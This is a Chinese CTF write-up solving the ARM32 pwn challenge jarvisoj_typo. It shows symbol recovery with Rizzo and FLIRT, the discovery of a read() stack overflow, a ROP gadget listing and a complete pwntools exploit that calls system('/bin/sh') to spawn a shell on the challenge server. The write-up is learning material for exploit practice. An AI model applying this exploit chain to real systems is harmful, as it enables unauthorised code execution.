BUU刷题-Pwn-jarvisoj_typo(ARM符号表恢复技术,Rizzo,FLIRT)

解题所涉知识点:

泄露或修改内存数据:

  1. 堆地址:
  2. 栈地址:
  3. libc地址:
  4. BSS段地址:
    劫持程序执行流程:ARM_ROP
    获得shell或flag:调用程序中的system

题目类型:
ARM_Pwn arm32
无符号表Pwn

相关知识点:

IDA插件Rizzo
IDA的FLIRT工具的使用
ROPgadget的使用
IDA远程调试异架构程序

题目信息:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/jarvisoj_typo]
└─$ checksec --file=typo 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified   Fortifiable     FILE
Full RELRO      No canary found   NX enabled    No PIE          N/A        N/A          No Symbols      N/A     0  0typo┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/jarvisoj_typo]
└─$ file typo   
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

libc版本:
wp借鉴:ARM架构下的 buffer overflow 初探_arm架构下的buffer-CSDN博客
arm-pwn入门 丨 tw11ty’s Blog (tweety-blog.cn)
关于学习arm架构下的pwn的总结 - ZikH26 - 博客园 (cnblogs.com)
通过一道ARM PWN题引发的思考:jarvisOJ_typo_jarvisoj环境搭建-CSDN博客
arm-pwn 学习 · De4dCr0w’s Blog

信息收集

运行后分析程序行为:


在输入回车后就可以开始进行多次交互了!

核心伪代码分析:

由于没有符号表的存在所以只能先从start函数起步:

存在利用的的代码:

// positive sp value has been detected, the output may be wrong!
void __noreturn start(int a1, int a2, int a3, int a4, ...)
{int v4; // r0va_list va; // [sp+0h] [bp+0h] BYREFva_start(va, a4);v4 = (sub_9EBC)(sub_8F00, va, sub_A5EC, sub_A68C, a1, va);(sub_F0E0)(v4);
}

发现这个结构就类似于__libc_start_main()函数,我们就可以由此找到main函数了,或者根据前面的字符串来寻找主函数的位置!


找到主函数:

int __fastcall sub_8F00(int a1, int a2)
{// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]v17 = 0;v16 = 0;sub_11D04(off_A1538, 0, 2, 0, a2, a1);sub_11D04(off_A1534[0], 0, 2, 0, v9, v10);v2 = sub_22240(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 'V');if ( sub_12170(v2) != 10 )sub_FBD4(-1);sub_22240(1, "------Begin------", 17);v3 = sub_214CC(0);v4 = sub_FE28(v3);v15 = sub_21474(v4);do{++v17;v14 = sub_10568() % 4504;sub_11338("\n%s\n", &aAbandon[20 * v14]);v5 = sub_8D24(&aAbandon[20 * v14]);v13 = v5;if ( !v5 ){v5 = sub_11AC0("E.r.r.o.r.");++v16;}}while ( v13 != 2 );v12 = sub_21474(v5);v6 = sub_9428(v12 - v15);v11 = sub_9770(v6, HIDWORD(v6), 0, 1093567616);sub_22240(1, "------END------", 15);sub_11F80(10);sub_8DF0(v17 - 1, v16, v11, HIDWORD(v11));sub_11AC0("Bye");return v7;
}

我们可以根据动态调试分析出哪些函数是输入,当我们调试时如果程序陷入等待的话就代表这个函数是一个输入函数!

使用IDA的符号表恢复技术:
IDA的Rizzo插件:

项目:

  • Reverier-Xu/Rizzo-IDA:移植到 IDA 7.4+ 的 Rizzo 插件 — Reverier-Xu/Rizzo-IDA: Rizzo plugin ported to IDA 7.4+ (github.com)
  • fireundubh/IDA7-Rizzo: Rizzo plugin by devttys0, ported to IDA 7 (github.com)
  • 魔改 Rizzo 恢复二进制符号 - Byaidu - 博客园 (cnblogs.com)
  • 再谈逆向工程中的函数识别 - 简书 (jianshu.com)

这里又很多arm文件:[原创] CTF 中 ARM & AArch64 架构下的 Pwn-Pwn-看雪-安全社区|安全招聘|kanxue.com

恢复符号表的尝试Rizzo:

使用Rizzo匹配armlibc2.39的符号表匹配出的函数比较多!

发现armlibc2.26匹配的也比较多!

IDA的FLIRT功能:

存储的libc的sig文件:
sig-database/ubuntu/libc6/10.10 (maverick) at master · push0ebp/sig-database (github.com)

教程:

  • IDA FLIRT使用 - Bl0od - 博客园 (cnblogs.com)
  • arm ida 伪代码 安卓 符号表_IDA 制作 sig文件 && gdb 导入符号表-CSDN博客

SDK工具下载:

  • [推荐]IDA Pro 7.7 SDK-资源下载-看雪-安全社区|安全招聘|kanxue.com

制作sig文件:
ELF64文件逆向分析知识—[2]制作静态库SIG_flair制作sigs-CSDN博客
IDA 高级功能使用 之 制作signature —— 识别库函数 - thinkycx.me

IDA的FLIRT恢复符号表,恢复的效果不明显:

发现虽然都又符号被恢复但是sytem函数并未被恢复,所以最后直接使用了这里的idb:ctf-challenges/pwn/arm/jarvisOJ_typo/typo.idb at master · ctf-wiki/ctf-challenges (github.com)
导出riz文件,恢复符号表,所以符号表不要期望恢复太多!

加上函数分析:

  sub_22240(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 'V', v2);
...sub_22240(1, "------Begin------", 0x11, 0xA);

这两个函数就是输出函数然后三个参数和write函数很匹配!
进入内部去看:

void __fastcall sub_22240(void *a1, void *a2, void *a3, void *a4)
{// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]if ( dword_A3094 ){v7 = sub_23ED8();v8 = linux_eabi_syscall(4, a1, a2, a3, a4, v4, v5, v6);sub_23F98(v7);if ( v8 >= 0xFFFFF000 )goto LABEL_5;}else if ( linux_eabi_syscall(4, a1, a2, a3, a4, v4, v5, v6) >= 0xFFFFF000 ){
LABEL_5:JUMPOUT(0xFFFF0FE0);}
}

也可以发现linux_eabi_syscall这个函数,代表这个函数属于系统调用:linux_eabi_syscall系统调用编号表 - 简书 (jianshu.com)
更加确定了它write的身份!

...sub_11338("\n%s\n", &aAbandon[20 * v12]);
...

发现这个参数里面又格式化字符串,大概率就是printf函数了!

int sub_11338(const char *a1, ...)
{va_list varg_r1; // [sp+14h] [bp-Ch] BYREFva_start(varg_r1, a1);return sub_32F84(off_A1534[0], a1, varg_r1);
}

这个函数的结构就是printf了!

然后我将这些猜测的数据丢给gpt后几乎就生成了正确的函数名:

这是c语言伪代码,你可以大胆的修改为合适的函数名不要怕错误,我只是参考一下:

int __cdecl main(int argc, const char **argv, const char **envp)
{// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]idx = 0;v15 = 0;sub_11D04(stdin, 0, 2, 0);sub_11D04(stdio[0], 0, 2, 0);write(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 'V', v3);if ( sub_12170() != '\n' )sub_FBD4(-1);write(1, "------Begin------", 0x11, '\n');v4 = time_0(0);sub_FE28(v4);v5 = sub_21474();v14 = v5;do{++idx;num = setutxent_0(v5, v6) % 0x1198;printf("\n%s\n", &aAbandon[20 * num]);v5 = sub_8D24(&aAbandon[20 * num]);v12 = v5;if ( !v5 ){v5 = sub_11AC0("E.r.r.o.r.");++v15;}}while ( v12 != 2 );v11 = sub_21474();v7 = sub_9428(v11 - v14);v10 = sub_9770(v7, HIDWORD(v7), 0, 1093567616);write(1, "------END------", 0xF, v10);sub_11F80(10);sub_8DF0(idx - 1, v15, v10, SHIDWORD(v10));sub_11AC0("Bye");return v8;
}

GPT的回答:
好的,我会根据你的代码提供一些合理的命名修改,让代码更加易读和清晰。以下是修改后的版本:

#include <stdio.h>
#include <time.h>
#include <unistd.h>// 假设这些是你在程序其他地方定义的函数
void initialize_stream(FILE *stream, int arg1, int arg2, int arg3);
void error_exit(int code);
int get_input();
void process_time(time_t time_value);
int generate_random_value();
int calculate_result(const char *input);
int display_error_message(const char *message);
int compute_difference(int value);
float calculate_score(int diff, int arg1, int arg2, float base);
void display_statistics(int completed, int errors, float score);int main(int argc, const char **argv, const char **envp)
{int idx = 0;int error_count = 0;int random_value, start_time, end_time;int result, time_diff;float score;initialize_stream(stdin, 0, 2, 0);initialize_stream(stdout, 0, 2, 0);write(1, "Let's Do Some Typing Exercise~\nPress Enter to get started;\nInput ~ if you want to quit\n", 81);if (get_input() != '\n')error_exit(-1);write(1, "------Begin------\n", 17);start_time = time(0);process_time(start_time);random_value = generate_random_value();int initial_random_value = random_value;do{idx++;int num = random_value % 4504; // 假设0x1198等于十进制的4504printf("\n%s\n", &aAbandon[20 * num]);result = calculate_result(&aAbandon[20 * num]);if (!result){result = display_error_message("E.r.r.o.r.");error_count++;}}while (result != 2);end_time = generate_random_value();time_diff = compute_difference(end_time - initial_random_value);score = calculate_score(time_diff, 0, 0, 1093567616.0);write(1, "------END------\n", 15);sleep(10); // 模拟等待display_statistics(idx - 1, error_count, score);display_error_message("Bye");return 0;
}

根据GPT生成的代码继续验证!如果手动去找漏洞的话还是比较复杂的所以直接手动实现!

直接把函数丢给gpt让它猜代码,这个函数大胆猜测一下这是什么函数他是C语言库里的:

找到目标函数漏洞:

int __fastcall calculate_result(unsigned __int8 *randstr)
{unsigned int len; // r0int len_1; // r4int input[28]; // [sp+Ch] [bp-70h] BYREFmemset_0(input, 0, 0x64u);read(0, input, &unk_200, input);              // 存在溢出len = strlen_0(randstr);                      // a1是传入进来的字符串if ( !memcmp(randstr, input, len) )           // 字符串对比{len_1 = strlen_0(randstr);if ( len_1 == strlen_0(input) - 1 )return 1;}if ( LOBYTE(input[0]) == '~' )                // 如果return 2;return 0;
}

存在溢出!

分析:

通过IDA动态调试锁定输入函数并且识别出read函数存在溢出漏洞!

.text:00008D4C SUB     R3, R11, #-input
.text:00008D50 MOV     R0, #0
.text:00008D54 MOV     R1, R3
.text:00008D58 MOV     R2, #0x200
.text:00008D5C BL      read

开始动态调试确定溢出长度!成功确定出溢出长度为112.

Gadgets获取:

获取gadgets:

┌──(kali㉿kali)-[~//Pwn/BUU/ARM/jarvisoj_typo]
└─$ ROPgadget --binary typo --only "pop"
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}Unique gadgets found: 29

发现这个gadget正好可以传参和调用system函数:0x00020904 : pop {r0, r4, pc}

获取/bin/sh

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/jarvisoj_typo]
└─$ ROPgadget --binary typo --string "bin/sh"
Strings information
============================================================
0x0006c385 : bin/sh

这个函数是system:

int __fastcall sub_110B4(int a1)
{if ( a1 )return sub_10BA8(a1);elsereturn sub_10BA8("exit 0") == 0;
}

地址是:

.text:000110B4 00 00 50 E3                   CMP     R0, #0
.text:000110B8 00 00 00 0A                   BEQ     loc_110C0
.text:000110B8
.text:000110BC B9 FE FF EA                   B       sub_10BA8

攻击思路总结

通过IDA动态调试和符号表恢复找到目标函数,存在read函数溢出
再通过pwndbg来计算栈溢出的长度是112
再通过RopGadgets找到gadget,用来传参和调用函数
由于是静态程序就一定会存在很多字符串和system函数找到地址然后就是利用了!

脚本:
import argparse
from pwn import *
from LibcSearcher import *# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()pwnfile = './typo'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')is_remote = args.r
is_debug = args.dif is_remote:sh = remote('node5.buuoj.cn', 26456)
else:if is_debug:sh = process(["qemu-arm", "-g", "1234", pwnfile])else:sh = process(["qemu-arm", pwnfile])def mygdb():if not is_remote and is_debug:gdb.attach(sh, """target remote localhost:1234b *0x8DE8""")  # brva 0xe93 b *0x4008c0
mygdb()
offset=112
pop_r0_r4_pc_addr=0x00020904
bin_sh_addr=0x0006c384
sys_addr=0x00010BA8
sh.send('\n')
payload=offset*b'a'+p32(pop_r0_r4_pc_addr)+p32(bin_sh_addr)+p32(0)+p32(sys_addr)
sh.sendline(payload)
sh.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1558147.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Spring Boot 学习之路 -- Thymeleaf 模板引擎

前言 最近因为业务需要&#xff0c;被拉去研究后端的项目&#xff0c;代码框架基于 Spring Boot&#xff0c;后端对我来说完全小白&#xff0c;需要重新学习研究…出于个人习惯&#xff0c;会以 Blog 文章的方式做一些记录&#xff0c;文章内容基本来源于「 Spring Boot 从入门…

Docsify基础配置

一、激活加载动画 轻松修改index.html文件&#xff1a;<div id"app">内容加载中&#xff0c;请稍候...</div>二、设定文档标题与Github链接 <script>window.$docsify {name: 王涵的博客文档,repo: http://baidu.com,} </script>效果展示&…

需求7———通过一个简单的小需求来理清修改后端的思路

我今天下午刚刚完成了睿哥早上说的几个小问题&#xff0c;现在距离下班时间还有两个小时&#xff0c;已经没啥可干的了&#xff0c;然后我发现我之前做的很多需求还没有写文章来总结&#xff0c;所以现在趁着有空&#xff0c;我先写一下总结。这么多需求中&#xff0c;我挑了一…

【leetcode】238.除自身以外数组的乘积

由于该题不能使用除法&#xff0c;所以参考题解写一个左右乘积列表的方法 创建两个新的数组pef,suf 一个用于记录从左到右的乘积&#xff08;类似于动态规划的思想&#xff09;pef 另一个记录从右到左的乘积 bsuf&#xff08;注意suf是从右到左进行累乘&#xff09; 而pef的最左…

【3dgs】3DGS**(3D Geometry Sensing)与 **NeRF**(Neural Radiance Fields)对比

以下是 3DGS&#xff08;3D Geometry Sensing&#xff09;与 NeRF&#xff08;Neural Radiance Fields&#xff09;对比表格&#xff1a; 更加详细的资料&#xff0c;轻参考&#xff1a; NERF/3DGS 对比维度3DGS (3D Geometry Sensing)NeRF (Neural Radiance Fields)基本原理…

Linux之shell详解(Linux Shell Detailed Explanation)

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:Linux运维老纪的首页…

使用 Helsinki-NLP 中英文翻译本地部署 - python 实现

通过 Helsinki-NLP 本地部署中英文翻译功能。该开源模型性价比相对高&#xff0c;资源占用少&#xff0c;对于翻译要求不高的应用场景可以使用&#xff0c;比如单词&#xff0c;简单句式的中英文翻译。 该示例使用的模型下载地址&#xff1a;【免费】Helsinki-NLP中英文翻译本…

浙江大学机试试题合集(2)

🍰🍰🍰hello宝子们,今天我们继续来练习浙江大学的机试题目。加油!fighting!( •̀ ω •́ )✧ 21🍩1696 Ambulance Dispatch 给定一张城市地图,上面有所有的救护车调度中心(救护车派遣中心) 并标记所有拾取点。你应该写一个程序来处理紧急呼叫。假设来电者正在某个…

得物App荣获“科技创新服务示范案例”,推动品质消费新升级

备受瞩目的2024年中国国际服务贸易交易会在北京盛大开幕&#xff0c;这一由商务部和北京市政府联合举办、并获得世贸组织、联合国等国际组织支持的国家级、国际性、综合型服务贸易盛会&#xff0c;再次吸引了全球的目光。作为上海科技企业的优秀代表&#xff0c;得物App亮相此次…

为什么Linux系统下的程序无法在Windows下运行

两个系统的格式不同&#xff0c;格式就是协议&#xff0c;是在固定位置有意义的数据。Linux下可执行文件格式是elf&#xff0c;可使用readelf查看elf文件头 而Windows下的可执行程序是PE格式&#xff0c;是一种可执行文件。 还有一点是Linux下和Win下系统API不同&#xff0c;这…

Stable Diffusion最新版nowebui的api使用详解

最近在使用stable diffusion最新版的Stable Diffusion WebUI Forge进行api调用,下面来一步一步的进行展开吧!!! 1、下载lllyasviel/stable-diffusion-webui-forge GitHub - lllyasviel/stable-diffusion-webui-forgeContribute to lllyasviel/stable-diffusion-webui-for…

Vxe UI vue vxe-table 实现表格单元格选中功能

Vxe UI vue vxe-table 实现表格单元格选中功能 在表格中实现鼠标点击任意单元格&#xff0c;选取的功能&#xff0c;通过 mouse-config 配置就可以开启单选功能&#xff0c;多选单元格选取功能需安装插件支持。 代码 参数说明 mouse-config 鼠标配置项&#xff1a; selected&…

基于连续小波变换(CWT)批量生成一维信号的时频图 最终生成30张时频图。生成的图像可用于后续的深度学习分类或其他处理。附详细的说明文档。

Matlab基于连续小波变换&#xff08;CWT&#xff09;&#xff0c;将一维信号批量生成时频图的源代码。此示例中&#xff0c;原始信号data是30*1280的格式&#xff0c;一共30条信号&#xff0c;信号长度为1280。最终生成30张时频图。生成的图像可用于后续的深度学习分类或其他处…

多级代理与提权维权

目录 代理构建FRP介绍下载配置⽂件&#xff1a; sock5代理Venom介绍下载配置 icmpsh介绍下载配置 pingtunnel介绍下载配置 EarthWorm介绍下载使用 权限提升win权限提升常⻅利⽤⼯具 Linux权限提升SUID提权 权限维持win权限维持系统服务后⻔⾃启动⽬录注册表后⻔其他类似隐藏⽤户…

前端vue-配置请求拦截器

1.配置拦截器&#xff0c;记得20行的导出 2.响应拦截器&#xff0c;记得28行的导出 3.拦截器不止可以拦截&#xff0c;还可以添加内容

解锁SoC “调试”挑战,开启高效原型验证之路

引言&#xff1a; 由于芯片设计复杂度的提升、集成规模的扩大&#xff0c;以及产品上市时间要求的缩短&#xff0c;使得设计验证变得更加困难。特别是在多FPGA环境中&#xff0c;设计调试和验证的复杂性进一步增加&#xff0c;传统的调试手段难以满足对高性能、高效率的需求。因…

Spring Boot 进阶-详解SpringBoot的复杂数据校验规则

在之前的文章中,我们介绍了SpringBoot整合JSR-303规则来完成数据校验操作。接下来我们来聊一聊关于数据校验的具体用法。 之前的文章中举过一个简单的例子通过学生信息提交的例子来介绍了关于数据校验如何去做。那么接下来这篇文章,我们就来看看对于一些复杂的数据校验如何完…

实例讲解电动汽车VIN写入规则及Simulink建模方法(一)——VIN校验方法及Simulink建模

目录 一、车辆VIN简介 二、电动汽车VIN写入规则及校验和规则 1、写入规则 2、校验和规则 三、VIN校验方法及Simulink建模 1、VIN校验方法 2、上位机发送VIN写入报文解包Simulink建模 3、校验和对比验证Simulink建模 4、VIN校验方法Simulink建模整体模型 四、总结 一、…

10.8 springBoot学习

学习内容的来源途径:spring Boot 1.不同的架构 之前写的qq是C/S,百度贴吧,淘宝之类的网站项目则为B/S架构. 2.两种架构对比

0基础跟德姆(dom)一起学AI 机器学习04-逻辑回归

逻辑回归简介 应用场景 逻辑回归是解决二分类问题的利器 数学知识 sigmoid函数 概率 极大似然估计 核心思想&#xff1a; 设模型中含有待估参数w&#xff0c;可以取很多值。已经知道了样本观测值&#xff0c;从w的一切可能值中&#xff08;选出一个使该观察值出现的概率为…